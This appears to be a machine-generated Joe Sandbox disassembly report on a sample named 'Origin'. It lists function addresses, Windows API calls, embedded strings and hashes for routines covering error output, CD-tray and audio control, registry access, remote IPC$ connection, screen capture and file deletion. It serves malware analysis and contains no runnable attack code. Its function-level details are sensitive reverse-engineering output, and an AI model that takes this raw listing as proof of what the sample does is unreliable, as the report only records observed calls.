Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Load$Image$IconLibraryMessageSend$DestroyExtractFree__wcsicmp_l
String ID: .dll$.exe$.icl
API String ID: 1212759294-1154884017
Opcode ID: e305aaef825aa5ef47e934ad61f16edf01a05547c403afa7f6ed4b768022d8de
Instruction ID: f6ad59b3bc76f0fac0ad240fa04049252eb3852f38d522f4d822f046595aa69e
Opcode Fuzzy Hash: e305aaef825aa5ef47e934ad61f16edf01a05547c403afa7f6ed4b768022d8de
Instruction Fuzzy Hash: 6861FE75500619BAEB24DF60CC41BBE7BB8EB08712F104156FD25E61D0DBB4AE88CBA4

Function 00C3A0E8 Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 150COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 00C3A12F

Part of subcall function 00BE1A36: _memmove.LIBCMT ref: 00BE1A77

LoadStringW.USER32(00000072,?,00000FFF,?), ref: 00C3A150
__swprintf.LIBCMT ref: 00C3A1A9
__swprintf.LIBCMT ref: 00C3A1C2
_wprintf.LIBCMT ref: 00C3A269
_wprintf.LIBCMT ref: 00C3A287

Strings

"%s" (%d) : ==> %s:%s%s, xrefs: 00C3A264
Incorrect parameters to object property !, xrefs: 00C3A20B
Line %d (File "%s"):, xrefs: 00C3A1A3, 00C3A1BC
Error: , xrefs: 00C3A231
^ ERROR , xrefs: 00C3A1FE
"%s" (%d) : ==> %s:, xrefs: 00C3A282

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: LoadString__swprintf_wprintf$_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
API String ID: 311963372-3080491070
Opcode ID: 86f0787c057b765444b44ad04d04cb7a7cf72c048d5ba4e3c082ef942dca4d61
Instruction ID: a490163235643a4282ed9a124b1a5b244138473372106c15358e658cb671fccd
Opcode Fuzzy Hash: 86f0787c057b765444b44ad04d04cb7a7cf72c048d5ba4e3c082ef942dca4d61
Instruction Fuzzy Hash: 4951B171900149AACF15EBE5CD46FEEB7B9EF04340F2005A5F515B21A2DB322F58DB61

Function 00C3A802 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00BD4D37: __itow.LIBCMT ref: 00BD4D62
Part of subcall function 00BD4D37: __swprintf.LIBCMT ref: 00BD4DAC

CharLowerBuffW.USER32(?,?), ref: 00C3A87B
GetDriveTypeW.KERNEL32 ref: 00C3A8C8
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00C3A910
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00C3A947
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00C3A975

Part of subcall function 00BE1821: _memmove.LIBCMT ref: 00BE185B

Strings

close, xrefs: 00C3A881
wait, xrefs: 00C3A932
set cd door , xrefs: 00C3A916
closed, xrefs: 00C3A88F, 00C3A898
type cdaudio alias cd wait, xrefs: 00C3A8F3
open , xrefs: 00C3A8D7
open, xrefs: 00C3A8A2
close cd wait, xrefs: 00C3A960

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: SendString$BuffCharDriveLowerType__itow__swprintf_memmove
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 2698844021-4113822522
Opcode ID: 717422ea484a3b02b96887f32f5a89ca7f4fb5b2d34eb1f9867bd3c2b8126994
Instruction ID: b8593ab4b40dcd945b53acfda1796f398d4bdef8a8f05023395ca6972594e269
Opcode Fuzzy Hash: 717422ea484a3b02b96887f32f5a89ca7f4fb5b2d34eb1f9867bd3c2b8126994
Instruction Fuzzy Hash: 88516D711143049FC700EF15C88196AB7E8FF88758F1449ADF89AA7262DB31EE09CB92

Function 00C3A69F Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 102fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00C3A6BF
__swprintf.LIBCMT ref: 00C3A6E1
CreateDirectoryW.KERNEL32(?,00000000), ref: 00C3A71E
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00C3A743
_memset.LIBCMT ref: 00C3A762
_wcsncpy.LIBCMT ref: 00C3A79E
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 00C3A7D3
CloseHandle.KERNEL32(00000000), ref: 00C3A7DE
RemoveDirectoryW.KERNEL32(?), ref: 00C3A7E7
CloseHandle.KERNEL32(00000000), ref: 00C3A7F1

Strings

\??\%s, xrefs: 00C3A6DB
:, xrefs: 00C3A702
\, xrefs: 00C3A6F7

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
String ID: :$\$\??\%s
API String ID: 2733774712-3457252023
Opcode ID: c1b2ce786923184ede2e54834d3faefdc06992f82ca59ca87fb73432bd36cd3d
Instruction ID: fa44a5b652fb5be5646626ca3092671c7d13b64a3e31d5dfa007afa9312f2bc5
Opcode Fuzzy Hash: c1b2ce786923184ede2e54834d3faefdc06992f82ca59ca87fb73432bd36cd3d
Instruction Fuzzy Hash: B4318171510109ABDB219FA1DC89FEF77BCAF89700F2041B6FA19E2160E77097948B65

Function 00C5C5CF Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00BD29E2: GetWindowLongW.USER32(?,000000EB), ref: 00BD29F3

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00C5C61F
GetFocus.USER32 ref: 00C5C62F
GetDlgCtrlID.USER32(00000000), ref: 00C5C63A
_memset.LIBCMT ref: 00C5C765
GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 00C5C790
GetMenuItemCount.USER32(?), ref: 00C5C7B0
GetMenuItemID.USER32(?,00000000), ref: 00C5C7C3
GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 00C5C7F7
GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 00C5C83F
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00C5C877
DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 00C5C8AC

Strings

0, xrefs: 00C5C75D

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow_memset
String ID: 0
API String ID: 1296962147-4108050209
Opcode ID: 9a7cd59a21a35b5d7e12bf7beb2e20ee4da2923558ad8638375a92f205d209ba
Instruction ID: 37667dc497f91168f99f5b43620a45a7ad478524b427ebcaca5ac84306225d62
Opcode Fuzzy Hash: 9a7cd59a21a35b5d7e12bf7beb2e20ee4da2923558ad8638375a92f205d209ba
Instruction Fuzzy Hash: A3818E745083019FD720CF15C884A6FBBE8FB88355F10492EFD95A7291D770DA89CBAA

Function 00C288AD Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00C28C03: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00C28C1F
Part of subcall function 00C28C03: GetLastError.KERNEL32(?,00C286E3,?,?,?), ref: 00C28C29
Part of subcall function 00C28C03: GetProcessHeap.KERNEL32(00000008,?,?,00C286E3,?,?,?), ref: 00C28C38
Part of subcall function 00C28C03: HeapAlloc.KERNEL32(00000000,?,00C286E3,?,?,?), ref: 00C28C3F
Part of subcall function 00C28C03: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00C28C56

Part of subcall function 00C28CA0: GetProcessHeap.KERNEL32(00000008,00C286F9,00000000,00000000,?,00C286F9,?), ref: 00C28CAC
Part of subcall function 00C28CA0: HeapAlloc.KERNEL32(00000000,?,00C286F9,?), ref: 00C28CB3
Part of subcall function 00C28CA0: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00C286F9,?), ref: 00C28CC4

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00C28911
_memset.LIBCMT ref: 00C28926
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00C28945
GetLengthSid.ADVAPI32(?), ref: 00C28956
GetAce.ADVAPI32(?,00000000,?), ref: 00C28993
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00C289AF
GetLengthSid.ADVAPI32(?), ref: 00C289CC
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00C289DB
HeapAlloc.KERNEL32(00000000), ref: 00C289E2
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00C28A03
CopySid.ADVAPI32(00000000), ref: 00C28A0A
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00C28A3B
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00C28A61
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00C28A75

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: 988dad9d586bbaf01096701c763737a1b247fa848ae076e9d45422abd14362bc
Instruction ID: 566e41108d56ad52cb2b5fe8eeb3803634591767fd20b2c0d0ee40bf7f4c8d1b
Opcode Fuzzy Hash: 988dad9d586bbaf01096701c763737a1b247fa848ae076e9d45422abd14362bc
Instruction Fuzzy Hash: AA613A71901219EFDF10DFA5EC45FEEBB79FF04300F14812AE925A6290DB759A09DB60

Function 00C477C9 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00C4783E
CreateCompatibleBitmap.GDI32(00000000,00000007,?), ref: 00C4784A
CreateCompatibleDC.GDI32(?), ref: 00C47856
SelectObject.GDI32(00000000,?), ref: 00C47863
StretchBlt.GDI32(00000006,00000000,00000000,00000007,?,?,?,?,00000007,?,00CC0020), ref: 00C478B7
GetDIBits.GDI32(00000006,?,00000000,00000000,00000000,00000028,00000000), ref: 00C478F3
GetDIBits.GDI32(00000006,?,00000000,?,00000000,00000028,00000000), ref: 00C47917
SelectObject.GDI32(00000006,?), ref: 00C4791F
DeleteObject.GDI32(?), ref: 00C47928
DeleteDC.GDI32(00000006), ref: 00C4792F
ReleaseDC.USER32(00000000,?), ref: 00C4793A

Strings

(, xrefs: 00C478BF

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: b4408e689abcf9f3f27450d2643e32005168639bd812bc60c1911944ee2e9ceb
Instruction ID: 8be441c0cb043927441cb3bea8b01e4d767ba0aa470ebbec9c2a90eddd9f5e59
Opcode Fuzzy Hash: b4408e689abcf9f3f27450d2643e32005168639bd812bc60c1911944ee2e9ceb
Instruction Fuzzy Hash: 91511771904209AFCB25CFA9CC89FAEBBB9FF48310F148519F95AA7250D771A941CB60

Function 00C3A2FA Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 156COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 00C3A341

Part of subcall function 00BE1A36: _memmove.LIBCMT ref: 00BE1A77

LoadStringW.USER32(?,?,00000FFF,?), ref: 00C3A363
__swprintf.LIBCMT ref: 00C3A3BC
__swprintf.LIBCMT ref: 00C3A3D5
_wprintf.LIBCMT ref: 00C3A48B
_wprintf.LIBCMT ref: 00C3A4A9

Strings

"%s" (%d) : ==> %s:%s%s, xrefs: 00C3A486
Line %d (File "%s"):, xrefs: 00C3A3B6, 00C3A3CF
Error: , xrefs: 00C3A453
^ ERROR, xrefs: 00C3A42D
"%s" (%d) : ==> %s:, xrefs: 00C3A4A4

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: LoadString__swprintf_wprintf$_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 311963372-2391861430
Opcode ID: fc1853d709d3ee7a1a041a6720e9930fde1d1870cfc3dc8a73180203370c4346
Instruction ID: 7d6a4eae3565c750e38fd979f4f730cf2524ba22f44aede839cd5ac5b2058d47
Opcode Fuzzy Hash: fc1853d709d3ee7a1a041a6720e9930fde1d1870cfc3dc8a73180203370c4346
Instruction Fuzzy Hash: 6651C071800149BACF14EBE5CD86EEEB7B9EF04300F2045A5F515B21A2EB716F58DB61

Function 00C3957D Relevance: 19.8, APIs: 13, Instructions: 322fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00C39387: __time64.LIBCMT ref: 00C39391

Part of subcall function 00BE4A8C: _fseek.LIBCMT ref: 00BE4AA4

__wsplitpath.LIBCMT ref: 00C3965C

Part of subcall function 00BF424E: __wsplitpath_helper.LIBCMT ref: 00BF428E

_wcscpy.LIBCMT ref: 00C3966F
_wcscat.LIBCMT ref: 00C39682
__wsplitpath.LIBCMT ref: 00C396A7
_wcscat.LIBCMT ref: 00C396BD
_wcscat.LIBCMT ref: 00C396D0

Part of subcall function 00C393CD: _memmove.LIBCMT ref: 00C39406
Part of subcall function 00C393CD: _memmove.LIBCMT ref: 00C39415

_wcscmp.LIBCMT ref: 00C39617

Part of subcall function 00C39B5E: _wcscmp.LIBCMT ref: 00C39C4E
Part of subcall function 00C39B5E: _wcscmp.LIBCMT ref: 00C39C61

DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 00C3987A
_wcsncpy.LIBCMT ref: 00C398ED
DeleteFileW.KERNEL32(?,?), ref: 00C39923
CopyFileW.KERNEL32(?,?,00000000,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00C39939
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00C3994A
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00C3995C

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: File$Delete$_wcscat_wcscmp$__wsplitpath_memmove$Copy__time64__wsplitpath_helper_fseek_wcscpy_wcsncpy
String ID:
API String ID: 1500180987-0
Opcode ID: e230102301fbb21f457397bb4c09aff97f51be60508e2a4eb1fadbccd532faed
Instruction ID: 47cbd5e36a28a6559c593959f6cb258c97a2725cc133bb94c914fb7b30e0377c
Opcode Fuzzy Hash: e230102301fbb21f457397bb4c09aff97f51be60508e2a4eb1fadbccd532faed
Instruction Fuzzy Hash: 33C13BB1D1021DAADF21DF95CC85AEEB7BDEF45310F0040AAF609E7151EBB09A848F65

Function 00BE5BD7 Relevance: 19.7, APIs: 13, Instructions: 215windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00BE5BF1
GetMenuItemCount.USER32(00C96890), ref: 00C20DFB
GetMenuItemCount.USER32(00C96890), ref: 00C20EAB
GetCursorPos.USER32(?), ref: 00C20EEF
SetForegroundWindow.USER32(00000000), ref: 00C20EF8
TrackPopupMenuEx.USER32(00C96890,00000000,?,00000000,00000000,00000000), ref: 00C20F0B
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00C20F17

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Menu$CountItem$CursorForegroundMessagePopupPostTrackWindow_memset
String ID:
API String ID: 2751501086-0
Opcode ID: 5c0641e6bbb1036ab96b6672d8c3aaa4989f958c273c42c431930be04585e5e0
Instruction ID: fba9398f51452c025c9875b6de6f3ec024fd0fdd4713999226e5aab3140562d6
Opcode Fuzzy Hash: 5c0641e6bbb1036ab96b6672d8c3aaa4989f958c273c42c431930be04585e5e0
Instruction Fuzzy Hash: 6A71F170641619BFEB308B55EC89FAABFA4FF04328F300217F5246A2D2C7B06850DB94

Function 00C281DD Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 128registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 00BE1821: _memmove.LIBCMT ref: 00BE185B

_memset.LIBCMT ref: 00C2826C
WNetAddConnection2W.MPR(?,?,?,00000000), ref: 00C282A1
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 00C282BD
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 00C282D9
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00C28303
CLSIDFromString.OLE32(?,?,?,SOFTWARE\Classes\), ref: 00C2832B
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00C28336
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00C2833B

Strings

\CLSID, xrefs: 00C28223
\IPC$, xrefs: 00C28283
SOFTWARE\Classes\, xrefs: 00C2820D

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memmove_memset
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 1411258926-22481851
Opcode ID: 95b196434b29a5471be0008a27d12d978a4378d20c588cfb18c43767a7abb03f
Instruction ID: ef292506f1efda5dad5d1eac03ebe71fe871f33e156152fca2754dd72234b8a0
Opcode Fuzzy Hash: 95b196434b29a5471be0008a27d12d978a4378d20c588cfb18c43767a7abb03f
Instruction Fuzzy Hash: CA412876C1022CABCF21EBA5DC95EEEB7B8FF04740B504569E911B3261DB705E09CB90

Function 00C51242 Relevance: 19.4, APIs: 1, Strings: 10, Instructions: 120COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,00C501D5,?,?), ref: 00C51259

Strings

HKEY_CLASSES_ROOT, xrefs: 00C512EC
HKLM, xrefs: 00C512D7
HKCR, xrefs: 00C51301
HKEY_LOCAL_MACHINE, xrefs: 00C512C2
HKEY_CURRENT_USER, xrefs: 00C51338
HKEY_CURRENT_CONFIG, xrefs: 00C51316
HKU, xrefs: 00C5136B
HKEY_USERS, xrefs: 00C5135A
HKCU, xrefs: 00C51349
HKCC, xrefs: 00C51327

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 3964851224-909552448
Opcode ID: db38fdc41b2538f018d675d4956fae419efe3b026715c012b70a1b6659c5e319
Instruction ID: b0917c9da7140c24b192fbe01387f14da32b51ec7cd039419a66fdf032fcf1a3
Opcode Fuzzy Hash: db38fdc41b2538f018d675d4956fae419efe3b026715c012b70a1b6659c5e319
Instruction Fuzzy Hash: 0B41BB7811024A8BDF04EF10C869BFE33A4FF91305F540895EC660B6A2DB719E5ECB64

Function 00C356EF Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 74COMMON

Download Yara Rule

APIs

Part of subcall function 00BE1821: _memmove.LIBCMT ref: 00BE185B

Part of subcall function 00BE153B: _memmove.LIBCMT ref: 00BE15C4

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 00C35758
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00C3576E
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00C3577F
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00C35791
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 00C357A2

Strings

status PlayMe mode, xrefs: 00C35753
close PlayMe, xrefs: 00C35769, 00C35796
alias PlayMe, xrefs: 00C35731
play PlayMe wait, xrefs: 00C3578C
open , xrefs: 00C35707
play PlayMe, xrefs: 00C3579D

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: SendString$_memmove
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2279737902-1007645807
Opcode ID: 91e7306540cb44ede9b419d38f33bf6430e8c06735ef60635500fb4308976c21
Instruction ID: 14c0c46c624eed55194a5207e1d35caf13cdd4b5143d91b74000bfd60768fd91
Opcode Fuzzy Hash: 91e7306540cb44ede9b419d38f33bf6430e8c06735ef60635500fb4308976c21
Instruction Fuzzy Hash: 3C11827096015979DB20B666DC5ADFF6BBCEFE2B44F140879B411A21D1EE701905CAA0

Function 00C34A79 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 73networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00C34A94
gethostname.WSOCK32(?,00000100), ref: 00C34AAE
gethostbyname.WSOCK32(?), ref: 00C34ABB
_wcscpy.LIBCMT ref: 00C34AE3
_memmove.LIBCMT ref: 00C34AF6
